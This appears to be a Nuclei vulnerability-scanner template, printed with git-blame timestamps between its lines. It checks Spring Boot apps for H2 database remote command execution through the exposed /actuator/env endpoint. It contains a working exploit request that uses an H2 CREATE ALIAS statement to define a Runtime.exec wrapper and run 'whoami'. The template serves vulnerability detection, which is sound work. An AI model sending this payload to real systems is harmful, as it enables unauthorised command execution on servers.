2020-09-13 15:33:07 +00:00
id : springboot-h2-db-rce
info :
2022-06-03 19:12:31 +00:00
name : Spring Boot H2 Database - Remote Command Execution
2020-09-13 15:33:07 +00:00
author : dwisiswant0
severity : critical
2022-06-03 19:12:31 +00:00
description : Spring Boot H2 Database is susceptible to remote code execution.
2021-08-18 11:37:49 +00:00
reference :
2021-05-02 06:19:55 +00:00
- https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database
- https://twitter.com/pyn3rd/status/1305151887964946432
- https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
- https://github.com/spaceraccoon/spring-boot-actuator-h2-rce
2022-06-03 19:12:31 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
2023-10-14 11:27:55 +00:00
cvss-score : 10
2022-06-03 19:12:31 +00:00
cwe-id : CWE-77
2024-09-10 08:22:50 +00:00
cpe : cpe:2.3:a:h2database:h2:*:*:*:*:*:*:*:*
2021-11-02 21:24:23 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 1
2021-11-02 21:24:23 +00:00
shodan-query : http.favicon.hash:116323821
2024-09-10 08:22:50 +00:00
product : h2
vendor : h2database
2022-04-22 10:38:41 +00:00
tags : springboot,rce,jolokia
2020-09-13 15:33:07 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-11-02 21:24:23 +00:00
- raw :
- |
POST /actuator/env HTTP/1.1
Host : {{Hostname}}
Content-Type : application/json
{
"name" : "spring.datasource.hikari.connection-test-query" ,
"value" : "CREATE ALIAS EXEC AS CONCAT('String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new',' java.util.Scanner(Runtime.getRun','time().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException(); }');CALL EXEC('whoami');"
}
2020-09-13 15:33:07 +00:00
matchers-condition : and
matchers :
- type : status
status :
- 200
2021-11-02 21:24:23 +00:00
2020-09-13 15:33:07 +00:00
- type : word
part : body
words :
2022-06-03 19:12:31 +00:00
- '"spring.datasource.hikari.connection-test-query":"CREATE ALIAS EXEC AS CONCAT'
2024-09-12 05:14:01 +00:00
# digest: 4b0a00483046022100c383e9bd573f3b0ffd70eb6d7030df853d30dfb7352f18c14e0afd4aa4d7109f022100ac730a1426204972cb7f9af23f770d1d27dcc6fd61eacfea419507ff2871820d:922c64590222798bb761d5b6d8e72950